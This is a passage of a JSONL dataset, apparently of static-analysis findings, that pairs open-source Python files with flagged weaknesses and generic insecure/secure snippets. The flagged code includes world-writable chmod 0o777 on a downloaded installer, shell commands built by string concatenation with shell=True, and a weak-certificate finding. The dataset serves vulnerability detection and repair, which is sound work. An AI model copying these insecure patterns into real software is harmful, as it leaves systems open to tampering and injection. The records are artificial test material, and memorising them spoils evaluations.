verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "41"}}, {"lineNo": 42, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "92d284f3f0c9108fc5a7757a796293be2ccfd959ff0955f9ce8e149a644117ad", "license": {"spdx": ["Apache-2.0"], "repo": "butsoleg/skuba", "path": "ci/infra/testrunner/utils/utils.py", "repo_head_hexsha": "1a363d4f3ca8fc33bfb0284043da26fe879c31a3", "stack_hexsha": "3153b18dc5b355a77d44d559ba2a0ad4652444b2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 45, "entireCode": "import glob\nimport hashlib\nimport logging\nimport os\nimport shutil\nimport subprocess\nfrom functools import wraps\nfrom tempfile import gettempdir\nfrom threading import Thread\n\nimport requests\nfrom timeout_decorator import timeout\n\nfrom utils.constants import Constant\nfrom utils.format import Format\n\nlogger = logging.getLogger('testrunner')\n\n_stepdepth = 0\n\n\ndef step(f):\n @wraps(f)\n def wrapped(*args, **kwargs):\n global _stepdepth\n _stepdepth += 1\n logger.debug(\"{} entering {} {}\".format(Format.DOT * _stepdepth, f.__name__,\n f.__doc__ or \"\"))\n r = f(*args, **kwargs)\n logger.debug(\"{} exiting {}\".format(\n Format.DOT_EXIT * _stepdepth, f.__name__))\n _stepdepth -= 1\n return r\n\n return wrapped\n\n\nclass Utils:\n\n def __init__(self, conf):\n self.conf = conf\n\n @staticmethod\n def chmod_recursive(directory, permissions):\n os.chmod(directory, permissions)\n\n for file in glob.glob(os.path.join(directory, \"**/*\"), recursive=True):\n try:\n os.chmod(file, permissions)\n except Exception as ex:\n logger.debug(ex)\n\n @staticmethod\n def cleanup_file(file):\n if os.path.exists(file):\n logger.debug(f\"Cleaning up {file}\")\n try:\n try:\n # Attempt to remove the file first, because a socket (e.g.\n # ssh-agent) is not a file but has to be removed like one.\n os.remove(file)\n except IsADirectoryError:\n shutil.rmtree(file)\n except Exception as ex:\n logger.debug(ex)\n else:\n logger.debug(f\"Nothing to clean up for {file}\")\n\n @staticmethod\n def cleanup_files(files):\n \"\"\"Remove any files or dirs in a list if they exist\"\"\"\n for file in files:\n Utils.cleanup_file(file)\n\n def ssh_cleanup(self):\n \"\"\"Remove ssh sock files\"\"\"\n # TODO: also kill ssh agent here? maybe move pkill to kill_ssh_agent()?\n sock_file = self.ssh_sock_fn()\n sock_dir = os.path.dirname(sock_file)\n try:\n Utils.cleanup_file(sock_file)\n # also remove tempdir if it's empty afterwards\n if 0 == len(os.listdir(sock_dir)):\n os.rmdir(sock_dir)\n else:\n logger.warning(f\"Dir {sock_dir} not empty; leaving it\")\n except FileNotFoundError:\n pass\n except OSError as ex:\n logger.debug(ex)\n\n def collect_remote_logs(self, ip_address, logs, store_path):\n \"\"\"\n Collect logs from a remote machine\n :param ip_address: (str) IP of the machine to collect the logs from\n :param logs: (dict: list) The different logs to collect {\"files\": [], \"dirs\": [], \"\"services\": []}\n :param store_path: (str) Path to copy the logs to\n :return: (bool) True if there was an error while collecting the logs\n \"\"\"\n logging_errors = False\n\n for log in logs.get(\"files\", []):\n try:\n self.scp_file(ip_address, log, store_path)\n except Exception as ex:\n logger.debug(\n f\"Error while collecting {log} from {ip_address}\\n {ex}\")\n logging_errors = True\n\n for log in logs.get(\"dirs\", []):\n try:\n self.rsync(ip_address, log, store_path)\n except Exception as ex:\n logger.debug(\n f\"Error while collecting {log} from {ip_address}\\n {ex}\")\n logging_errors = True\n\n for service in logs.get(\"services\", []):\n try:\n self.ssh_run(\n ip_address, f\"sudo journalctl -xeu {service} > {service}.log\")\n self.scp_file(ip_address, f\"{service}.log\", store_path)\n except Exception as ex:\n logger.debug(\n f\"Error while collecting {service}.log from {ip_address}\\n {ex}\")\n logging_errors = True\n\n return logging_errors\n\n def authorized_keys(self):\n public_key_path = self.conf.terraform.ssh_key + \".pub\"\n os.chmod(self.conf.terraform.ssh_key, 0o400)\n\n with open(public_key_path) as f:\n pubkey = f.read().strip()\n return pubkey\n\n def ssh_run(self, ipaddr, cmd):\n key_fn = self.conf.terraform.ssh_key\n cmd = \"ssh \" + Constant.SSH_OPTS + \" -i {key_fn} {username}@{ip} -- '{cmd}'\".format(\n key_fn=key_fn, ip=ipaddr, cmd=cmd, username=self.conf.terraform.nodeuser)\n return self.runshellcommand(cmd)\n\n def scp_file(self, ip_address, remote_file_path, local_file_path):\n \"\"\"\n Copies a remote file from the given ip to the give path\n :param ip_address: (str) IP address of the node to copy from\n :param remote_file_path: (str) Path of the file to be copied\n :param local_file_path: (str) Path where to store the log\n :return:\n \"\"\"\n cmd = (f\"scp {Constant.SSH_OPTS} -i {self.conf.terraform.ssh_key}\"\n f\" {self.conf.terraform.nodeuser}@{ip_address}:{remote_file_path} {local_file_path}\")\n self.runshellcommand(cmd)\n\n def rsync(self, ip_address, remote_dir_path, local_dir_path):\n \"\"\"\n Copies a remote dir from the given ip to the give path\n :param ip_address: (str) IP address of the node to copy from\n :param remote_dir_path: (str) Path of the dir to be copied\n :param local_dir_path: (str) Path where to store the dir\n :return:\n \"\"\"\n cmd = (f'rsync -avz --no-owner --no-perms -e \"ssh {Constant.SSH_OPTS} -i {self.conf.terraform.ssh_key}\" '\n f'--rsync-path=\"sudo rsync\" --ignore-missing-args {self.conf.terraform.nodeuser}@{ip_address}:{remote_dir_path} '\n f'{local_dir_path}')\n self.runshellcommand(cmd)\n\n def runshellcommand(self, cmd, cwd=None, env={}, ignore_errors=False, stdin=None):\n \"\"\"Running shell command in {workspace} if cwd == None\n Eg) cwd is \"skuba\", cmd will run shell in {workspace}/skuba/\n cwd is None, cmd will run in {workspace}\n cwd is abs path, cmd will run in cwd\n Keyword arguments:\n cmd -- command to run\n cwd -- dir to run the cmd\n env -- environment variables\n ignore_errors -- don't raise exception if command fails\n stdin -- standard input for the command in bytes\n \"\"\"\n if not cwd:\n cwd = self.conf.workspace\n\n if not os.path.isabs(cwd):\n cwd = os.path.join(self.conf.workspace, cwd)\n\n if not os.path.exists(cwd):\n raise FileNotFoundError(Format.alert(\"Directory {} does not exists\".format(cwd)))\n\n if logging.DEBUG >= logger.level:\n logger.debug(\"Executing command\\n\"\n \" cwd: {} \\n\"\n \" env: {}\\n\"\n \" cmd: {}\".format(cwd, str(env) if env else \"{}\", cmd))\n else:\n logger.info(\"Executing command {}\".format(cmd))\n\n stdout, stderr = [], []\n p = subprocess.Popen(\n cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=cwd,\n stdin=subprocess.PIPE if stdin else None, shell=True, env=env\n )\n if stdin:\n p.stdin.write(stdin)\n p.stdin.close()\n stdoutStreamer = Thread(target = self.read_fd, args = (p, p.stdout, logger.debug, stdout))\n stderrStreamer = Thread(target = self.read_fd, args = (p, p.stderr, logger.error, stderr))\n stdoutStreamer.start()\n stderrStreamer.start()\n stdoutStreamer.join()\n stderrStreamer.join()\n # this is redundant, at this point threads were joined and they waited for the subprocess\n # to exit, however it should not hurt to explicitly wait for it again (no-op).\n p.wait()\n stdout, stderr = \"\".join(stdout), \"\".join(stderr)\n\n if p.returncode != 0:\n if not ignore_errors:\n raise RuntimeError(\"Error executing command {}\".format(cmd))\n else:\n return stderr\n return stdout\n\n def ssh_sock_fn(self):\n \"\"\"generate path to ssh socket\n\n A socket path can't be over 107 chars on Linux, so generate a short\n hash of the workspace and use that in $TMPDIR (usually /tmp) so we have\n a predictable, test-unique, fixed-length path.\n \"\"\"\n path = os.path.join(\n gettempdir(),\n hashlib.md5(self.conf.workspace.encode()).hexdigest(),\n \"ssh-agent-sock\"\n )\n maxl = 107\n if len(path) > maxl:\n raise Exception(f\"Socket path '{path}' len {len(path)} > {maxl}\")\n return path\n\n def read_fd(self, proc, fd, logger_func, output):\n \"\"\"Read from fd, logging using logger_func\n\n Read from fd, until proc is finished. All contents will\n also be appended onto output.\"\"\"\n while True:\n contents = fd.readline().decode()\n if contents == '' and proc.poll() is not None:\n return\n if contents:\n output.append(contents)\n logger_func(contents.strip())\n\n @timeout(60)\n @step\n def setup_ssh(self):\n os.chmod(self.conf.terraform.ssh_key, 0o400)\n\n # use a dedicated agent to minimize stateful components\n sock_fn = self.ssh_sock_fn()\n # be sure directory containing socket exists and socket doesn't exist\n if os.path.exists(sock_fn):\n try:\n if os.path.isdir(sock_fn):\n os.path.rmdir(sock_fn) # rmdir only removes an empty dir\n else:\n os.remove(sock_fn)\n except FileNotFoundError:\n pass\n try:\n os.mkdir(os.path.dirname(sock_fn), mode=0o700)\n except FileExistsError:\n if os.path.isdir(os.path.dirname(sock_fn)):\n pass\n else:\n raise\n # clean up old ssh agent process(es)\n try:\n self.runshellcommand(\"pkill -f 'ssh-agent -a {}'\".format(sock_fn))\n logger.warning(\"Killed previous instance of ssh-agent\")\n except:\n pass\n self.runshellcommand(\"ssh-agent -a {}\".format(sock_fn))\n self.runshellcommand(\n \"ssh-add \" + self.conf.terraform.ssh_key, env={\"SSH_AUTH_SOCK\": sock_fn})\n\n @timeout(30)\n @step\n def info(self):\n \"\"\"Node info\"\"\"\n info_lines = \"Env vars: {}\\n\".format(sorted(os.environ))\n info_lines += self.runshellcommand('ip a')\n info_lines += self.runshellcommand('ip r')\n info_lines += self.runshellcommand('cat /etc/resolv.conf')\n\n # TODO: the logic for retrieving external is platform depedant and should be\n # moved to the corresponding platform\n try:\n r = requests.get(\n 'http://169.254.169.254/2009-04-04/meta-data/public-ipv4', timeout=2)\n r.raise_for_status()\n except (requests.HTTPError, requests.Timeout) as err:\n logger.warning(\n f'Meta Data service unavailable could not get external IP addr{err}')\n else:\n info_lines += 'External IP addr: {}'.format(r.text)\n\n return info_lines", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 45, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "be6f1fca820d5ebecb389b50b5476b52a5a69c9e3f9c80517cb9455886293854", "license": {"spdx": ["BSD-2-Clause"], "repo": "nckz/wrappaconda", "path": "wrappaconda.py", "repo_head_hexsha": "43203be36f2de17fdf8fe77c151c5628bd98321f", "stack_hexsha": "672fde99dcb82eabf8b0425ec9a63d4e04194da7", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 208, "entireCode": "#!/usr/bin/env python\n# Author: \n# Date: 2015oct31 \n\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport stat\nimport errno\nimport shutil\nimport optparse\nimport traceback\nimport subprocess\n\nwrappaconda_name_string = 'Wr[App]-A-Conda'\n\nclass AppAtizer(object):\n\n def __init__(self):\n\n # tmp paths\n self._downloads_prefix = os.path.expanduser('~/Downloads')\n if not os.path.isdir(self._downloads_prefix):\n self._downloads_prefix = './' # use cwd\n\n # try for wget or curl\n self._get = self._getDownloaderCommand()\n\n # cli input\n self._parseUserInput()\n\n # .app paths\n self._apppath = '/Applications/'+self._name+'.app'\n self._contents_prefix = self._apppath + \"/Contents\"\n self._resource_prefix = self._contents_prefix + \"/Resources\"\n self._info_plist_path = self._contents_prefix + \"/Info.plist\"\n self._pkg_info_path = self._contents_prefix + \"/PkgInfo\"\n self._macos_prefix = self._contents_prefix + \"/MacOS\"\n self._cfbundle_icon_filename = 'app.icns'\n\n # Wr[App]-A-Conda paths\n self._id_file_path = self._resource_prefix + \"/wrappaconda\"\n\n # miniconda paths\n self._miniconda_prefix = self._resource_prefix + \"/miniconda\"\n self._python_path = self._miniconda_prefix + \"/bin/python\"\n self._conda_path = self._miniconda_prefix + \"/bin/conda\"\n\n\n def _parseUserInput(self):\n # get user input\n parser = optparse.OptionParser()\n parser.add_option(\"-n\", \"--name\", dest='name', help=\"[REQUIRED] The name of this app.\")\n parser.add_option(\"-t\", \"--target\", dest='target', help=\"[REQUIRED] The binary or script found in Anaconda\\'s $PREFIX/bin.\")\n parser.add_option(\"-v\", \"--version\", dest='version', help=\"The version of this app.\", default='0.1')\n parser.add_option(\"-i\", \"--icon\", dest='icon_file', help=\"Icon file to be used in the bundle.\")\n parser.add_option(\"-c\", \"--channel\", dest='channel', help=\"The Anaconda.org package channel(s), or url(s) separated by commas (e.g. nckz,https://conda.anaconda.org/gpi/channel/rc) (defaults to \\'defaults\\')\", default='defaults')\n parser.add_option(\"-p\", \"--package\", dest='package', help=\"The package name(s) separated by commas (e.g. scipy=0.15.0,curl=7.26.0,pip).\")\n parser.add_option(\"-r\", \"--rootenv\", dest='rootenv', help=\"A root environment file (created using: \\'conda list --export\\').\")\n parser.add_option(\"--py\", dest='py_ver', help=\"Choose the distro python version using the major and minor version numbers (defaults to 3.5).\", default='3.5')\n parser.add_option(\"-o\", \"--overwrite\", action=\"store_true\", dest='overwrite', help=\"Overwrite an existing app with the same \\'name\\'. Use caution!!!\")\n options, args = parser.parse_args()\n\n try:\n # check for input errors\n assert options.name is not None\n assert options.target is not None\n if options.icon_file is not None:\n assert os.path.isfile(options.icon_file)\n assert options.icon_file.endswith(\".icns\")\n if options.rootenv is not None:\n assert os.path.isfile(options.rootenv)\n except:\n parser.print_help()\n raise\n\n self._name = options.name\n self._version = options.version\n self._target = options.target\n self._icon_file = options.icon_file\n self._channel = options.channel\n self._package = options.package\n self._root_env = options.rootenv\n self._py_ver = options.py_ver\n self._overwrite = options.overwrite\n\n def _getDownloaderCommand(self):\n # check for installed utilities\n try:\n subprocess.check_output('command -v wget >/dev/null 2>&1;', shell=True)\n return 'wget --directory-prefix ' + self._downloads_prefix + ' -c {}'\n except:\n try:\n subprocess.check_output('command -v curl >/dev/null 2>&1;', shell=True)\n return 'cd '+self._downloads_prefix+' && curl --fail -O -C - {} '\n except:\n print(\"This script requires \\'wget\\' or \\'curl\\' and neither were found.\")\n raise\n\n def appPath(self):\n return self._apppath\n\n def deleteExistingApp(self):\n if os.path.exists(self._apppath):\n if self._overwrite:\n print(\"Removing existing path: \"+self._apppath)\n try:\n with open(self._id_file_path, 'r') as f:\n assert f.read().count(wrappaconda_name_string) > 0\n shutil.rmtree(self._apppath)\n except:\n print(\"The app \\'\"+self._apppath+\"\\' cannot be verified for deletion. You may have to remove it manually. Skipping...\")\n else:\n print(\"The app \\'\"+self._apppath+\"\\' already exists, exiting...\")\n\n def buildAppSkeleton(self):\n # build the .app directory and supporting files\n try:\n os.mkdir(self._apppath)\n os.mkdir(self._contents_prefix)\n os.mkdir(self._macos_prefix)\n os.mkdir(self._resource_prefix)\n except OSError as e:\n if e.errno == errno.EPERM:\n print(\"You must have root permissions to write to /Applications.\")\n raise\n\n def copyIconFile(self):\n if self._icon_file is not None:\n shutil.copy(self._icon_file, self._resource_prefix + '/' + self._cfbundle_icon_filename)\n\n def writeInfoPList(self):\n # http://stackoverflow.com/questions/7404792/how-to-create-mac-application-bundle-for-python-script-via-python\n CFBundleName = self._name\n CFBundleVersion = self._version\n CFBundleIconFile = self._cfbundle_icon_filename\n CFBundleGetInfoString = CFBundleName + \" \" + CFBundleVersion\n CFBundleShortVersionString = CFBundleGetInfoString\n CFBundleIdentifier = \"com.gpilab.\"+CFBundleName\n CFBundleExecutable = self._target\n\n info_plist = \"\"\"\n\n\n\n CFBundleDevelopmentRegion \n English \n CFBundleExecutable \n %s \n CFBundleGetInfoString \n %s \n CFBundleIconFile \n %s \n CFBundleIdentifier \n %s \n CFBundleInfoDictionaryVersion \n 6.0 \n CFBundleName \n %s \n CFBundlePackageType \n APPL \n CFBundleShortVersionString \n %s \n CFBundleSignature \n ???? \n CFBundleVersion \n %s \n NSAppleScriptEnabled \n YES \n NSMainNibFile \n MainMenu \n NSPrincipalClass \n NSApplication \n \n \n\"\"\"\n with open(self._info_plist_path, \"w\") as f:\n f.write(info_plist % (CFBundleExecutable, CFBundleGetInfoString, CFBundleIconFile, CFBundleIdentifier, CFBundleName, CFBundleShortVersionString, CFBundleVersion))\n\n def writePkgInfo(self):\n with open(self._pkg_info_path, \"w\") as f:\n f.write(\"APPL????\")\n\n def writeWrappacondaIDFile(self):\n with open(self._id_file_path, \"w\") as f:\n f.write(\"This app was generated by \" + wrappaconda_name_string)\n\n def setupMiniconda(self):\n # anaconda website and miniconda package info\n # -python 3 is the default miniconda\n MINICONDA_NAME='Miniconda3'\n if float(self._py_ver) < 3:\n MINICONDA_NAME='Miniconda'\n MINICONDA_WEB='https://repo.continuum.io/miniconda/'\n MINICONDA_OSX=MINICONDA_NAME+'-latest-MacOSX-x86_64.sh'\n\n # download miniconda\n try:\n cmd = self._get.format(MINICONDA_WEB+MINICONDA_OSX)\n print(cmd)\n subprocess.check_output(cmd, shell=True)\n except:\n print(\"Failed to download miniconda.\")\n\n # install miniconda\n try:\n os.chmod(self._downloads_prefix+'/'+MINICONDA_OSX, 0o777)\n cmd = self._downloads_prefix+'/'+MINICONDA_OSX+' -b -p '+self._miniconda_prefix\n print(cmd)\n subprocess.check_output(cmd, shell=True)\n except:\n print(\"Failed to run miniconda.\")\n\n # install central conda package\n if self._package:\n try:\n python = ' python=='+self._py_ver+' '\n conda_cmd = self._conda_path+' install -y -c '+' -c '.join(self._channel.split(','))+' '+' '.join(self._package.split(',')) + python\n if self._root_env:\n conda_cmd += ' --file '+self._root_env\n print(conda_cmd)\n subprocess.check_output(conda_cmd, shell=True)\n subprocess.check_output(self._conda_path+' clean -t -i -p -l -y', shell=True)\n except:\n print(\"Failed to run conda.\")\n raise\n\n def linkTarget(self):\n # check for the existence of the target\n try:\n assert os.path.isfile(self._miniconda_prefix + '/bin/' + self._target)\n os.link(self._miniconda_prefix + '/bin/' + self._target, self._macos_prefix + '/' + self._target)\n except:\n print(self._target, ' doesn\\'t exist in Miniconda bin.')\n raise \n\ndef main():\n make = AppAtizer()\n make.deleteExistingApp()\n make.buildAppSkeleton()\n make.writeWrappacondaIDFile()\n make.copyIconFile()\n make.setupMiniconda()\n make.linkTarget()\n make.writeInfoPList()\n make.writePkgInfo()\n print(make.appPath() + \" has been created.\")\n\nif __name__ == '__main__':\n main()", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 208, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "600b236e8ec690f7311f98529d723310246d02eaf091d18f0b4e8b408d0ec274", "license": {"spdx": ["Apache-2.0"], "repo": "wang542/cloudmesh-cloud", "path": "cloudmesh/key/Key.py", "repo_head_hexsha": "f09f823172afedf55c008a5094b005eef6697551", "stack_hexsha": "1a3702be15ebcb4bd15bdff000d4d69a1406a580", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 23, "entireCode": "# See also the methods already implemented we have in cm for ssh management\n# I think you reimplemented things that already exists.\n\n# see and inspect cloudmesh.common\nimport os\nfrom os.path import expanduser\n# see content of path_expand it does expanduser as far as I know\nfrom cloudmesh.common.util import path_expand\nfrom cloudmesh.management.configuration.SSHkey import SSHkey\nfrom cloudmesh.mongo.DataBaseDecorator import DatabaseUpdate\nfrom cloudmesh.common.debug import VERBOSE\nfrom pprint import pprint\nfrom cloudmesh.configuration.Config import Config\n\n# noinspection PyPep8Naming\nclass Key(object):\n\n @classmethod\n def get_from_dir(cls, directory=None, store=True):\n directory = directory or path_expand(\"~/.ssh\")\n # find way that also works on windows, code always must work on windows\n # and Linux, if not you need to have if condition\n os.system(\"chmod 700 $HOME /.ssh\")\n files = [file for file in os.listdir(expanduser(path_expand(directory)))\n if file.lower().endswith(\".pub\")]\n d = []\n for file in files:\n print(file)\n path = directory + \"/\" + file\n # find way that also works on windows, code always must work on\n # windows and Linux, if not you need to have if condition\n\n os.system(\"chmod 700 $HOME /.ssh\")\n with open(path) as fd:\n for pubkey in map(str.strip, fd):\n # skip empty lines\n if not pubkey:\n continue\n print(pubkey)\n d.append(pubkey)\n\n return d\n\n @DatabaseUpdate()\n def add(self, name, source):\n \"\"\"\n key add [NAME] [--source=FILENAME]\n key add [NAME] [--source=git]\n key add [NAME] [--source=ssh]\n \"\"\"\n keys = None\n if source == \"git\":\n config = Config()\n username = config[\"cloudmesh.profile.github\"]\n keys = SSHkey().get_from_git(username)\n\n elif source == \"ssh\":\n key = SSHkey(name=name)\n keys = [key]\n\n else:\n raise NotImplementedError\n # source is filename\n\n return keys\n\nif __name__ == \"__main__\":\n Key.get_from_dir(None, True)", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 23, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "62e5b8b61c6c9b87816680bed0c301ce2ee773ccf53562d3d160d6a150922270", "license": {"spdx": ["Apache-2.0"], "repo": "lukaslihotzki/synapse", "path": "synapse/util/daemonize.py", "repo_head_hexsha": "1dfdc87b9bb07cc3c958dde7f41f2af4322477e5", "stack_hexsha": "31b24dd18882a8f7e13321a70ed2f5b364dae2fb", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 107, "entireCode": "# Copyright (c) 2012, 2013, 2014 <>\n# Copyright 2020 The Matrix.org Foundation C.I.C.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport atexit\nimport fcntl\nimport logging\nimport os\nimport signal\nimport sys\n\n\ndef daemonize_process(pid_file: str, logger: logging.Logger, chdir: str = \"/\") -> None:\n \"\"\"daemonize the current process\n\n This calls fork(), and has the main process exit. When it returns we will be\n running in the child process.\n \"\"\"\n\n # If pidfile already exists, we should read pid from there; to overwrite it, if\n # locking will fail, because locking attempt somehow purges the file contents.\n if os.path.isfile(pid_file):\n with open(pid_file, \"r\") as pid_fh:\n old_pid = pid_fh.read()\n\n # Create a lockfile so that only one instance of this daemon is running at any time.\n try:\n lock_fh = open(pid_file, \"w\")\n except IOError:\n print(\"Unable to create the pidfile.\")\n sys.exit(1)\n\n try:\n # Try to get an exclusive lock on the file. This will fail if another process\n # has the file locked.\n fcntl.flock(lock_fh, fcntl.LOCK_EX | fcntl.LOCK_NB)\n except IOError:\n print(\"Unable to lock on the pidfile.\")\n # We need to overwrite the pidfile if we got here.\n #\n # XXX better to avoid overwriting it, surely. this looks racey as the pid file\n # could be created between us trying to read it and us trying to lock it.\n with open(pid_file, \"w\") as pid_fh:\n pid_fh.write(old_pid)\n sys.exit(1)\n\n # Fork, creating a new process for the child.\n process_id = os.fork()\n\n if process_id != 0:\n # parent process: exit.\n\n # we use os._exit to avoid running the atexit handlers. In particular, that\n # means we don't flush the logs. This is important because if we are using\n # a MemoryHandler, we could have logs buffered which are now buffered in both\n # the main and the child process, so if we let the main process flush the logs,\n # we'll get two copies.\n os._exit(0)\n\n # This is the child process. Continue.\n\n # Stop listening for signals that the parent process receives.\n # This is done by getting a new process id.\n # setpgrp() is an alternative to setsid().\n # setsid puts the process in a new parent group and detaches its controlling\n # terminal.\n\n os.setsid()\n\n # point stdin, stdout, stderr at /dev/null\n devnull = \"/dev/null\"\n if hasattr(os, \"devnull\"):\n # Python has set os.devnull on this system, use it instead as it might be\n # different than /dev/null.\n devnull = os.devnull\n\n devnull_fd = os.open(devnull, os.O_RDWR)\n os.dup2(devnull_fd, 0)\n os.dup2(devnull_fd, 1)\n os.dup2(devnull_fd, 2)\n os.close(devnull_fd)\n\n # now that we have redirected stderr to /dev/null, any uncaught exceptions will\n # get sent to /dev/null, so make sure we log them.\n #\n # (we don't normally expect reactor.run to raise any exceptions, but this will\n # also catch any other uncaught exceptions before we get that far.)\n\n def excepthook(type_, value, traceback):\n logger.critical(\"Unhanded exception\", exc_info=(type_, value, traceback))\n\n sys.excepthook = excepthook\n\n # Set umask to default to safe file permissions when running as a root daemon. 027\n # is an octal number which we are typing as 0o27 for Python3 compatibility.\n os.umask(0o27)\n\n # Change to a known directory. If this isn't done, starting a daemon in a\n # subdirectory that needs to be deleted results in \"directory busy\" errors.\n os.chdir(chdir)\n\n try:\n lock_fh.write(\"%s\" % (os.getpid()))\n lock_fh.flush()\n except IOError:\n logger.error(\"Unable to write pid to the pidfile.\")\n print(\"Unable to write pid to the pidfile.\")\n sys.exit(1)\n\n # write a log line on SIGTERM.\n def sigterm(signum, frame):\n logger.warning(\"Caught signal %s. Stopping daemon.\" % signum)\n sys.exit(0)\n\n signal.signal(signal.SIGTERM, sigterm)\n\n # Cleanup pid file at exit.\n def exit():\n logger.warning(\"Stopping daemon.\")\n os.remove(pid_file)\n sys.exit(0)\n\n atexit.register(exit)\n\n logger.warning(\"Starting daemon.\")", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 107, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.umask", "params": {}}]}}
{"id": "b48aa8cccbe099b5a6af2ef9402a2d7962657ad171563998345ba7dd21006d74", "license": {"spdx": ["Apache-2.0"], "repo": "gola/Tars", "path": "deploy/comm/tarsDeploy.py", "repo_head_hexsha": "1b8a29a59f1104b6bb16bde5fb2b1de3c5d8cfbd", "stack_hexsha": "189d85594f38ea3f913d593be6912f95270eabba", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 39, "entireCode": "#!/usr/bin/python\n# encoding: utf-8\nimport tarsLog\nimport shutil\nimport os\nimport sys\nimport stat\nfrom tarsUtil import *\nlog = tarsLog.getLogger()\ntarsDeploy = \"/usr/local/app/tars\"\ntarsDeployFrameBasicServerList = [\"tarsregistry\", \"tarsnode\", \"tarsAdminRegistry\", \"tarspatch\",\"tarsconfig\"]\ntarsDeployFrameCommServerList = [\"tarsnotify\", 